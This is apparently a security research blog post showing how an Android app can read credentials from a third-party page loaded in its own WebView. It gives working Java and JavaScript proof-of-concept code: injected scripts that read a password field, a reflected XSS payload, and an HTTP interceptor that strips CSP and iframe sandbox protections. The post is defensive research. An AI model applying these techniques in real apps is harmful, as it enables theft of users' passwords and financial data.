There are plenty of articles explaining the security issues with android webview, like this article & this one. Many of these resources talk about the risks that an untrusted page, loaded inside a webview, poses to the underlying app. The threats become more prominent especially when javascript  and/or the javascript interface is enabled on the webview.

In short, having javascript enabled & not properly fortified allows for execution of arbitrary javascript in the context of the loaded page, making it quite similar to any other page that may be vulnerable to an XSS. And again, very simply put, having the javascript interface enabled allows for potential code execution in the context of the underlying android app.

In many of the resources, that I came across, the situation was such that the victim was the underlying android app inside whose webview a page would open either from it's own domain or from an external source/domain. While attacker was the entity external to the app, like an actor exploiting a potential XSS on the page loaded from the app's domain (or the third party domain from where the page is being loaded inside the webview itself acting malicious). The attack vector was the vulnerable/malicious page loaded in the the webview.

This blog talks about a different attack scenario!

Victim: Not the underlying android app, but the page itself that is being loaded in the webview.

Attacker: The underlying android app, in whose webview the page is being loaded.

Attack vector: The vulnerable/malicious page loaded in the the webview.(through the abuse of the insecure implementations of some APIs)

The story line

A certain product needs to integrate with a huge business. Let us call this huge business as BullyGiant & the certain product as AppAwesome from this point on.  

Many users have an account on both AppAwesome & also on BullyGiant. The flow involves such users of BullyGiant to check out on their payments page with AppAwesome. Every transaction on AppAwesome requires to be authenticated & authorized by the user by entering their password on the AppAwesome's checkout page, which appears before any transaction is allowed to go through.

AppAwesome cares about the security of it's customers. So it proposes the below security measures to anyone who wants to integrate with them, especially around AppAwesome's checkout page.

  1. Loading of the checkout page using AppAwesome's SDK. All of the page & it's contents are sandboxed & controlled by the SDK. This approach allows for maximum security & the best user experience.
  2. Loading of the checkout page on the underlying browser (or custom chrome tabs, if available). This approach again has quite decent security (limited by of course the underlying browser's security) but not a very good user experience.
  3. Loading of the checkout page in the webview of the integrating app. This is comparatively the most insecure of the above proposals, although offers a better user experience than the second approach mentioned above.

Now the deal is that AppAwesome is really very keen on securing their own customers' financial data & hence very strongly recommends usage of their SDK. BullyGiant on the other hand, for some reason, (hopefully justified) does not really want to abide by the secure integration proposals by AppAwesome. AppAwesome does have a choice to deny any integration with BullyGiant. However, this integration is really crucial for AppAwesome to provide a superior user experience to it's own users & in fact even more crucial for AppAwesome to stay in the game.

So AppAwesome gives in & agrees to integrate with BullyGiant succumbing to their terms of integration, i.e. using the least secure webview approach. The only things that protect AppAwesome's customers now is the trust that AppAwesome has on BullyGiant, which is somewhat also covered through the legal contracts between AppAwesome & BullyGiant. That's all.

Technical analysis (TL;DR)

Thanks: Badshah & Anoop for helping with the execution of the attack idea. Without your help, this blog post would not have been possible, at least not while it's still relevant :)

Below is a tech analysis of why webview is a bad idea. It talks about how can a spurious (or compromised) app abuse webview features to extract sensitive data from the page loaded inside the webview, despite the many security mechanisms that the page, being loaded in the webview, might have implemented. We discuss in details, with many demos, how CSP, iframe sandbox etc. may be bypassed in android webview. Every single demo has a linked code base on my Github so they could be tried out first hand. Also, the below generic scheme is followed (not strictly in that order) throughout the blog:

  1. A simple demo of the underlying concepts on the browser & android webview
  2. Addition of security features to the underlying concepts & then demo of the same on the browser & android webview
NB: Please ignore all other potential security issues that might be there with the code base/s

Case 1: No protection mechanisms

Apps used in this section:

  1. AppAwesome
  2. BullyGiant

AppAwesome when accessed from a normal browser:

Vanilla AppAwesome Landing Page - Browser

And on submitting the above form:

Vanilla AppAwesome Checkout Page -Browser

AppAwesome when accessed from BullyGiant app:

Vanilla AppAwesome Page - Android Webview

Notice the Authenticate Payment web page is loaded inside a webview of the BullyGiant app.

And on submitting the form above:

Vanilla AppAwesome Page - Android Webview

Notice that clicking on the Submit button also displays the content of the password field as a toast message on BullyGiant. This proves how the underlying app may be able to sniff any data (sensitive or otherwise) from the page loaded in it's webview.

Under the BullyGiant hood

The juice of why BullyGiant was able to sniff password field out from the webview is because it is in total control of it's own webview & hence can change the properties of the webview, listen to events etc. That is exactly what it is doing. It is

  1. enabling javascript on it's webview &
  2. then it is listening for onPageFinished event

Snippet from BullyGiant:

    ...
    final WebView mywebview = (WebView) findViewById(R.id.webView);
    mywebview.clearCache(true);
    mywebview.loadUrl("http://192.168.1.38:31337/home");
    mywebview.getSettings().setJavaScriptEnabled(true);
    mywebview.setWebChromeClient(new WebChromeClient());
    mywebview.addJavascriptInterface(new AppJavaScriptProxy(this), "androidAppProxy");
    mywebview.setWebViewClient(new WebViewClient(){
        @Override
        public void onPageFinished(WebView view, String url) {...}
    ...

Note that there is addJavascriptInterface as well. This is what many blogs (quoted in the beginning of this blog) talk about where the loaded web page can potentially be harmful to the underlying app. In our use case however, it is not of much consequence (from that perspective). All that it is used for is to show that BullyGiant could read the contents of the page loaded in the webview. It does so by sending the read content back to android (that's where the addJavascriptInterface  is used) & having it displayed as a toast message.

The other important bit in the BullyGiant code base is the over ridden onPageFinished() :

    ...
    super.onPageFinished(view, url);
    mywebview.loadUrl("javascript:var button = document.getElementsByName(\"submit\")[0];button.addEventListener(\"click\", function(){ androidAppProxy.showMessage(\"Password : \" + document.getElementById(\"password\").value); return false; },false);");
    ...

That's where the javascript to read the password filed from the DOM is injected into the page loaded inside the webview.

The story line continued...

AppAwesome came about with the below solutions to prevent the web page from being read by the underlying app:

Suggestion #1: Use CSP

Use CSP to prevent BullyGiant from executing any javascript whatsoever inside the page loaded in the iframe

Suggestion #2: Use Iframe Sandbox

Load the sensitive page inside of an iframe on the main page in the webview. Use iframe sandbox to restrict any interactions between the parent window/page & the iframe content.

CSP is a mechanism to prevent execution of  untrusted javascript inside a web page. While the sandbox attribute of iframe is a way to tighten the controls of the page within an iframe. It's very well explained in many resources like here.

With all the above restrictions imposed, our goal now would be to see if BullyGiant can still access the AppAwesome page loaded inside the webview or not. We would go about analyzing how each of the suggested solutions work in a normal browser & in a webview & how could BullyGiant access the loaded pages if at all.

Exploring CSP With Inline JS

Apps used in this section:

  1. AppAwesome
  2. BullyGiant

Before moving on to the demo of CSP implementation & it's effect/s on Android Webview, let's look at how a non-CSP page behaves in the normal (non-webview) browser & a webview.

To demo this we have added an inline JS that would alert 1 on clicking of the submit button before proceeding to the success checkout page. AppAwesome code snippet:

<!DOCTYPE HTML>
    ...
    <script type="text/javascript">
      function f(){
        alert(1);
      }
    </script>
    ...
      <input type="submit" value="Submit" name="submit" name="submit" onclick="f();">
    ...
</html>

AppAwesome when accessed from the browser & when Submit button is clicked:

Vanilla AppAwesome Page - Inline JS => Firefox 74.0

AppAwesome when accessed from BullyGiant app:

Vanilla AppAwesome Page - Inline JS => Android Webview

The above suggests that so far there is no change in how the page is treated by the 2 environments. Now let's check the change in behavior (if at all) when CSP headers are implemented.

With CSP Implemented

Apps used in this section:

  1. AppAwesome
  2. BullyGiant

Browser

A quick demo of these features on a traditional browser (not webview) suggests that these controls are indeed useful (when implemented the right way) with what they are intended for.

AppAwesome when accessed from a browser:

CSP AppAwesome page - Inline JS => Firefox 74.0

Notice the Content Security Policy violations. These violations happen because of the CSP response headers, returned by the backend & enforced by the browser.

Response headers from AppAwesome:

CSP AppAwesome page - Inline JS => Firefox 74.0

Android Webview

AppAwesome when accessed from BullyGiant gives the same Authenticate Payment page as above & the exact same CSP errors too! This can be seen from the below screenshot of a remote debugging session taken from Chrome 80.0:

(Firefox was not chosen for remote debugging because I was lazy to set up remote debugging on Firefox. Firefox set up on the AVD was required too :( as per this from the FF settings page. Also further down for all the demos we use adb logs instead of remote debugging sessions to show browser console messages)

On Google Chrome 80.0

Hence, we see that CSP does prevent execution of inline JS inside android webview, very much like a normal browser does.

Exploring CSP With Injected JS

Apps used in this section:

  1. AppAwesome
  2. AppAwesome (with XSS-Auditor disabled)
  3. BullyGiant (without XSS payload)
  4. BullyGiant (with XSS payload)

AppAwesome has been made deliberately vulnerable to a reflected XSS by adding a query parameter, name, to the home page. This param is vulnerable to reflected XSS. Also, all inline JS has been removed from this page to further emphasize on CSP's impact on injected JS.

AppAwesome when accessed from the browser while the name query parameter's value is John Doe:

On Google Chrome 80.0

Now, for the sake of the demo, we would exploit the XSS vulnerable name query param to add an onclick event to the Submit button such that clicking it would alert "injected 1"

XSS exploit payload

<body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}</script>

AppAwesome when accessed from the browser & exploited with the above payload (in name query parameter):

Vanilla AppAwesome Page - Exploited XSS => Firefox

AppAwesome when accessed from BullyGiant, without exploiting the XSS:

Vanilla AppAwesome Page - Vulnerable param => Android Webview

AppAwesome when accessed from BullyGiant, while attempting to exploit the XSS, produces the same screen as above, however, contrary to the script injection that was successful in case of a normal browser, this time clicking on the Submit button didn't really execute the payload at all. We were instead taken directly to the checkout page. Adb logs however did produce an interesting message as shown below:

Vanilla AppAwesome Page - Exploited XSS => Android Webview

The adb log messages is:

03-27 12:29:33.672 26427-26427/com.example.webviewinjection I/chromium: [INFO:CONSOLE(9)] "The XSS Auditor refused to execute a script in 'http://192.168.1.35:31337/home?name=<body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.", source: http://192.168.1.35:31337/home?name=<body onload="f()"><script type="text/javascript">function f(){var button=document.getElementsByName("submit")[0];button.addEventListener("click", function(){ alert("injected 1"); return false; },false);}%3C/script%3E (9)

So without even any explicit protection mechanism/s (like CSP or iframe sandbox), android webview seems to have a default protection mechanism called XSS Auditor. This however has nothing to do with our use case. Moreover, it hinders with our demo as well.  Hence, for now, for the sake of this demo, we would make AppAwesome return X-XSS-Protection HTTP header, as below, to take care of this issue.

X-XSS-Protection: 0

Note: As an auxiliary, XSS Auditor would also be accounted for a bypass towards the end of the blog :)

AppAwesome when accessed now from BullyGiant, while attempting to exploit the XSS:

Vanilla AppAwesome Page - Exploited XSS => Android Webview

Thus we see that the XSS payload works equally well even in the Android Webview (of course with the XSS Auditor intentionally disabled).

Note: If the victim is the page getting loaded inside webview, it makes absolute sense that it's backend would never ever return any HTTP headers, like the above, that possibly weakens the security of the page itself. We will see why this is irrelevant further down.

The other thing to note is that there was a subtle difference between how the payloads were injected in the vulnerable parameter in both the cases, the browser & the webview. And it is important to take note of it because it highlights the very premise of this blog post. In case of the browser, the attacker is an external party, who could send the JS payload to be able to exploit the vulnerable name parameter. Whereas in case of the android webview, the underlying app itself is the malicious actor & hence it is injecting the JS payload in the vulnerable name parameter before loading the page in it's own webview. This difference would be more prominent when we analyze further cases & how the malicious app leverages it's capabilities to exploit the page loaded in the webview.

With CSP Implemented

Apps used in this section:

  1. AppAwesome
  2. BullyGiant (with XSS payload)
  3. BullyGiant (with CSP bypass)
  4. BullyGiant (with CSP bypass reading the password field)

Browser

With the appropriate CSP headers in place, inline JS does not work in browsers as we saw above. What would happen if javascript is injected in the page that has CSP headers? Would it still have CSP violation errors?

AppAwesome, with vulnerable name parameter & XSS-Auditor disabled, when accessed in the browser & the name query param exploited with the same XSS payload (as earlier):

CSP AppAwesome Page - Exploited XSS => Firefox

The console error messages are the same as with inline JS. Injected JS does not get executed as the CSP policy prevents it. Would the same XSS payload work when the above CSP page is loaded inside Android Webview?

AppAwesome when accessed from BullyGiant app that injects the JS payload in the vulnerable name parameter before loading the page in the android webview:

CSP AppAwesome Page - Exploited XSS => Android Webview

The same adb log is produced confirming that CSP works well in case of even injected javascript payload inside a webview.

Note: In the CSP related examples above (browser or webview) note that CSP kicks in before the page actually gets loaded.

With the above note, some interrelated questions that arise are:

  1. What would happen if BullyGiant wanted to access the contents of the page after it get successfully loaded?
  2. Could it add javascript to the already loaded page, as if this were being done locally?
  3. Would CSP still interfere?

Since the webview is under the total control of the underlying app, in our case BullyGiant, & since there are android APIs available to control the lifecycle of pages loaded inside the webview, BullyGiant could pretty much do whatever it wants with the loaded page's contents. So instead of injecting the javascript payload in the vulnerable parameter, as in the above example, BullyGiant may choose to instead inject it directly in the page itself after the page is loaded, without having the need to actually exploit the vulnerable name parameter at all.

AppAwesome when accessed from BullyGiant that implements the above trick to achieve JS execution despite CSP:

CSP AppAwesome Page - Exploited XSS => Android Webview

The logs still show the below message:

03-28 17:29:28.372 13282-13282/com.example.webviewinjection D/WebView Console Error:: Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' http://192.168.1.35:31337". Either the 'unsafe-inline' keyword, a hash ('sha256-JkQD9ejf-ohUEh1Jr6C22l1s4TUkBIPWNmho0FNLGr0='), or a nonce ('nonce-...') is required to enable inline execution.
03-28 17:29:28.396 13282-13282/com.example.webviewinjection D/WebView Console Error:: Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self' http://192.168.1.35:31337". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.

BullyApp still injected XSS payload in the vulnerable name parameter (we left it there to ensure that CSP was still in action). The above logs are a result & proof of that.

Code snippet from BullyGiant that does the trick:

        ...
        mywebview.setWebViewClient(new WebViewClient(){
            @Override
            public void onPageFinished(WebView view, String url) {
                super.onPageFinished(view, url);
                mywebview.loadUrl(
                        "javascript:var button = document.getElementsByName(\"submit\")[0];button.addEventListener(\"click\", function(){ alert(\"injected 1\"); },false);"
                );
            }
        });
        ...

The above PoC shows execution of simple JS payload that just pops up an alert box. Any other more complex JS could be executed as well, like reading the contents of the password field on the page using the below payload

var secret = document.getElementById("password").value; alert(secret);

AppAwesome when accessed from BullyGiant that attempts to read the password field using the above payload:

CSP AppAwesome Page - Exploited XSS => Android Webview

So the questions above get answered. Also, it is indicative of an even more interesting question now:

Since BullyApp is in total control of the webview & thus the page loaded within it, would it also be able to modify the whole HTTP response itself ?

We will tackle the above question with yet another example. In fact, this time we would talk about the second suggestion around iframe sandbox and see if the answer to the above question could be demoed with that. Also, we had left out the whole X-XSS-Protection header thing for later. That part will also get covered with the following experiments.

Iframe sandbox attribute

Apps used in this section:

  1. AppAwesome Backend (without CSP & with iframe sandbox)
  2. AppAwesome Backend (without CSP & with iframe sandbox relaxed)
  3. BullyGiant

AppAwesome, that has no CSP headers, that has X-XSS-Protection relaxed & has the below sandbox attributes

sandbox="allow-scripts allow-top-navigation allow-forms allow-popups"

when loaded in the browser:

AppAwesome Page - Iframe Sandbox => Browser

The child page has the form which when submitted displays the password on the checkout page inside the iframe as:

AppAwesome Page - Iframe Sandbox => Browser

The Access button tries to read the password displayed inside iframe by reading the DOM of the page loaded in the iframe using the below JS

...
  	<script type="text/javascript">
  		function accessIframe()
  		{
  			document.getElementById('myIframe').style.background = "green"  			
  			alert(document.getElementById('myIframe').contentDocument.getElementById('data').innerText);
  		}
  	</script>
...

Note that even in the absence of CSP headers clicking the Access button gives:

AppAwesome Page - Iframe Sandbox => Browser

The console message is:

TypeError: document.getElementById(...).contentDocument is null

This happens because of the iframe's sandbox attribute. The iframe sandbox can relaxed by using:

<iframe src="http://192.168.1.34:31337/child?secret=iframeData" frameborder="10" id="myIframe" sandbox="allow-same-origin allow-top-navigation allow-forms allow-popups">

AppAwesome, with relaxed iframe sandbox attribute, allows the JS in the parent page to access the iframe's DOM, thus producing the alert box as expected, with the mysecret value:

AppAwesome Page - Iframe Sandbox => Browser

Also, just a side note, using the below would have also relaxed the sandbox to the exact same effect as has also been mentioned here:

<iframe src="http://192.168.1.34:31337/child?secret=iframeData" frameborder="10" id="myIframe" sandbox="allow-scripts allow-same-origin allow-top-navigation allow-forms allow-popups">

Repeating the same experiment on android webview again produces the exact same results.

AppAwesome, with relaxed iframe sandbox attribute when accessed from BullyGiant

AppAwesome Page - Iframe Sandbox Relaxed=> Android Webview

AppAwesome, that has no CSP headers, that has X-XSS-Protection relaxed & has the below sandbox attributes

sandbox="allow-scripts allow-top-navigation allow-forms allow-popups"

when accessed from BullyGiant:

AppAwesome Page - Iframe Sandbox => Android Webview

The error message in the console is:

03-29 15:18:38.292 11081-11081/com.example.webviewinjection D/WebView Console Error:: Uncaught SecurityError: Failed to read the 'contentDocument' property from 'HTMLIFrameElement': Sandbox access violation: Blocked a frame at "http://192.168.1.34:31337" from accessing a frame at "http://192.168.1.34:31337".  The frame being accessed is sandboxed and lacks the "allow-same-origin" flag.

Now if BullyGiant were to bypass the above restriction, like it did in the case of CSP bypass, it could again take the same route of injecting some javascript inside the iframe itself after the checkout page is loaded.

Note: I haven't personally tried this approach, but conceptually it should work. Too lazy to do that right now !

But instead of doing that what if BullyApp were to take an even simpler approach to bypassing everything once & for all? Since the webview is under the total control fo BullyGiant could it not intercept the response before rendering it on the webview and remove all the trouble making headers altogether?

Manipulation of the HTTP response

Apps used in this section:

  1. AppAwesome Backend (with all protection mechanisms in place)
  2. BullyGiant (that bypasses all the above mechanisms)
  3. BullyGiant app with a toast

Let's make this case the most secure out of all the previous ones. So this time the AppAwesome implements all secure mechanisms on the page. Below is a list of such changes:

  1. It uses CSP => so that no unwanted JS (inline or injected) could be executed.
  2. It uses strict iframe sandbox attributes => so that the parent page can not access the contents of the iframe despite them being from the same domain.
  3. It does not set the X-XSS-Protection: 0 header => this was an assumption we had made above for the sake of our demos. In the real world, an app that wishes to avoid an XSS scenario would deploy every possible/feasible mechanism to prevent it from happening. So AppAwesome now does not return this header at all.
  4. It does not have the Access button on the DOM with the inline JS => again something that we had used in few of our (most recent) previous examples for the sake of our demo. In the real world, in the context of our story, it would not make sense for AppAwesome to leave an Access button with the supporting inline JS to access the iframe.

AppAwesome when accessed from the browser:

AppAwesome Page - FullBlown => Browser

Notice that all the security measures mentioned in the pointers above are implemented. CSP headers are in place, there's no Access button or the supporting inline JS, no X-XSS-Protection header & the strict iframe sandbox attribute is present as well.

BullyGiant handles all of the above trouble makers by handling everything before any response is rendered onto the webview at all,

AppAwesome 0 BullyGiant 1 !

AppAwesome when accessed from BullyGiant:

AppAwesome Page - FullBlown => Android Webview

Notice that the X-XSS-Protection: 0 header has been added ! The CSP header is no longer present ! And there's (the old familiar) brand new Access button on the page as well. Clicking the Access button after the form inside the iframe is loaded gives:

AppAwesome Page - FullBlown => Android Webview

Code snippet from BullyGiant that does all the above trick:

...
class ChangeResponse implements Interceptor {
    @Override public Response intercept(Interceptor.Chain chain) throws IOException {
        Response originalResponse = chain.proceed(chain.request());
        String responseString = originalResponse.body().string();
        Document doc = Jsoup.parse(responseString);
        doc.getElementById("myIframe").removeAttr("sandbox");
        MediaType contentType = originalResponse.body().contentType();
        ResponseBody body = ResponseBody.create(doc.toString(), contentType);

        return originalResponse.newBuilder()
                .body(body)
                .removeHeader("Content-Security-Policy")
                .header("X-XSS-Protection", "0")
                .build();
    }
};
...
...
    private WebResourceResponse handleRequestViaOkHttp(@NonNull String url) {
        try {
            final OkHttpClient client = new OkHttpClient.Builder()
                    .addInterceptor(new LoggingInterceptor())
                    .addInterceptor(new ChangeResponse())
                    .build();

            final Call call = client.newCall(new Request.Builder()
                    .url(url)
                    .build()
            );

            final Response response = call.execute();
            return new WebResourceResponse("text/html", "utf-8",
                    response.body().byteStream()
            );
        } catch (Exception e) {
            return null; // return response for bad request
        }
    }
...
...
       mywebview.setWebViewClient(new WebViewClient(){
            @SuppressWarnings("deprecation") // From API 21 we should use another overload
            @Override
            public WebResourceResponse shouldInterceptRequest(@NonNull WebView view, @NonNull String url) {
                return handleRequestViaOkHttp(url);
            }
...

What the above does is intercept the HTTP request that the webview would make & pass it over to OkHttp, which then handles all the HTTP requests & response from that point on, before finally returning back the modified HTTP response back to the webview.

Ending note:

Before we end, a final touch. BullyGiant was able to access the whole of the page loaded inside webview. This was demoed using JS alerts on the page itself. The content read from the webview could actually also be displayed as native toast messages, to make it more convincing for the business leaders (or anyone else), accentuating that the sensitive details from AppAwesome are actually leaked over to BullyGiant.

AppAwesome when accessed from BullyGiant:

AppAwesome Page - FullBlown => Android Webview - Raising a toast!

Conclusion

Theoretically since the webview is under total control of the underlying android app, it is wise to not share any sensitive data on the page getting loaded inside the webview.

Collected on the way

git worktrees
what are git tags & how to maintain different versions using tags
creating git tags
checking out git tags
pushing git tags
tags can be viewed simply with git tag
git tags can not be committed to => For any changes to a tag, commit the changes on the or a new branch and then make a tag out of it. Delete the olde tag after that if you want
deleting a branch local & remote
rename a branch local & remote
adding chrome console messages to adb logs
chrome's remote debugging feature